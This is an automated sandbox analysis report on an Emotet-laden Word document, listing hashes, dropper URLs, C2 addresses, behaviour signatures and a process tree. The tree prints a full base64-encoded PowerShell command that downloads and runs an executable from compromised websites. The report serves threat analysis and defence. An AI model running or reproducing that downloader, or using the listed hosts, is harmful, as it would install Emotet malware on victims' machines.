Analysis

  • max time kernel
    59s
  • max time network
    56s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    17-07-2020 16:35

General

  • Target

    884d7bd6124c83a1aa5b4a6f35d0dc396dc53046e7cb4dfa623858cfbc83e1fe.doc

  • Size

    196KB

  • MD5

    1809a44ea8dd77426b111f2cc1f78676

  • SHA1

    76b197c5d4890c50ee11031ad237366f0c9b1614

  • SHA256

    884d7bd6124c83a1aa5b4a6f35d0dc396dc53046e7cb4dfa623858cfbc83e1fe

  • SHA512

    23de4f99d9ab65b89c23ad9c75584bfe767742de03c2838431b09f4eaeccf426137181a2ed8689442c86ddb54ad28c3389830ee95a00a537695f9703d42abc2f

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.elseelektrikci.com/wp-content/hedk3/

exe.dropper

https://www.rviradeals.com/wp-includes/LeDR/

exe.dropper

https://skenglish.com/wp-admin/o0gf/

exe.dropper

https://www.packersmoversmohali.com/wp-includes/pgmt4x/

exe.dropper

https://www.tri-comma.com/wp-admin/MmD/

Extracted

Family

emotet

C2

109.117.53.230:443

212.51.142.238:8080

190.160.53.126:80

139.59.60.244:8080

91.211.88.52:7080

190.108.228.62:443

186.208.123.210:443

46.105.131.87:80

173.91.22.41:80

222.214.218.37:4143

31.31.77.83:443

62.75.141.82:80

93.156.165.186:80

93.51.50.171:8080

185.94.252.104:443

78.189.165.52:8080

95.179.229.244:8080

73.11.153.178:8080

203.153.216.189:7080

95.213.236.64:8080

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\884d7bd6124c83a1aa5b4a6f35d0dc396dc53046e7cb4dfa623858cfbc83e1fe.doc" /o ""
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:1628
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABkAG8AdQBqAHcAaQBvAGgAYwBvAGkAcwBiAG8AYQBzAGwAaQBlAHAAPQAnAGgAZQBhAGQAcQB1AG8AZQB6AHkAdQB1AHYAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAGUAYwB1AFIAaQB0AHkAcABgAFIAbwB0AGAATwBjAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHQAYQBjAGgAagBhAGkAbgAgAD0AIAAnADQANAAzACcAOwAkAHAAbwB1AHYAZABvAGUAegB5AGkAbwB3AG0AYQB1AHEAdQBqAHUAdQB6AD0AJwB6AGkAbgAnADsAJABoAGEAbwBjAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAHQAYQBjAGgAagBhAGkAbgArACcALgBlAHgAZQAnADsAJAByAGkAbwBmAHYAbwBhAHoAZgBlAGkAcQB1AGoAZQBqAGIAbwB1AHgAPQAnAGYAZQBpAGoAJwA7ACQAdABpAHQAaAB0AGgAbwBlAG4AeQB1AGEAdABoAGwAYQB1AHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAGIAQwBMAGkAZQBOAFQAOwAkAGoAdQBhAGcAYgBpAG8AeQByAG8AYQBiAGMAbwBqAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBlAGwAcwBlAGUAbABlAGsAdAByAGkAawBjAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBoAGUAZABrADMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHIAdgBpAHIAYQBkAGUAYQBsAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwAZQBEAFIALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGsAZQBuAGcAbABpAHMAaAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAwAGcAZgAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcABhAGMAawBlAHIAcwBtAG8AdgBlAHIAcwBtAG8AaABhAGwAaQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcABnAG0AdAA0AHgALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHQAcgBpAC0AYwBvAG0AbQBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBNAG0ARAAvACcALgAiAHMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAeABpAG8AYwBoAGMAYQBoAGQAbwBkAHYAYQB3AHAAdQBhAGgAeQBvAGUAcQB1AD0AJwB0AGgAbwBhAGsAdgBlAGUAawBjAHUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACAAaQBuACAAJABqAHUAYQBnAGIAaQBvAHkAcgBvAGEAYgBjAG8AagApAHsAdAByAHkAewAkAHQAaQB0AGgAdABoAG8AZQBuAHkAdQBhAHQAaABsAGEAdQB6AC4AIgBEAG8AYAB3AG4AbABvAGAAQQBgAEQAZgBpAGwAZQAiACgAJAB6AGEAbwBzAHYAdQBhAGgAdABoAG8AdQBtACwAIAAkAGgAYQBvAGMAaAApADsAJAB3AHUAYQBsAHkAaQBhAGMAaAA9ACcAeABlAHYAbgBvAGEAcQB1AGwAYQBvAGgAbABvAGUAZAB2AHUAYQBsAGYAaQBsACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAaABhAG8AYwBoACkALgAiAGwAZQBgAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADYAMwAyADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAAZQBhAHQARQAiACgAJABoAGEAbwBjAGgAKQA7ACQAbgBhAG4APQAnAHEAdQBhAG8AeABjAGgAZQBlAHcAdgBvAHUAdABoAGIAYQB1AGMAdgBhAG8AdABoACcAOwBiAHIAZQBhAGsAOwAkAHgAdQB1AGwAZwB1AHUAagA9ACcAdwBhAG8AawB5AGEAZQBuAG0AZQBvAHoAagBhAHUAdwBmAHUAdQBjAGMAaABpAGEAcwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB0AGgAaQBrAHQAaABpAG8AegBoAHUAbQA9ACcAdABhAGkAdwB2AGUAaQBjAHQAaQBjAGgAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    PID:684
  • C:\Users\Admin\443.exe
    C:\Users\Admin\443.exe
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    PID:2036
    • C:\Windows\SysWOW64\ieapfltr\d3d10level9.exe
      "C:\Windows\SysWOW64\ieapfltr\d3d10level9.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:3924

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2036-6-0x00000000005F0000-0x00000000005FC000-memory.dmp

    Filesize

    48KB

  • memory/3924-9-0x00000000020D0000-0x00000000020DC000-memory.dmp

    Filesize

    48KB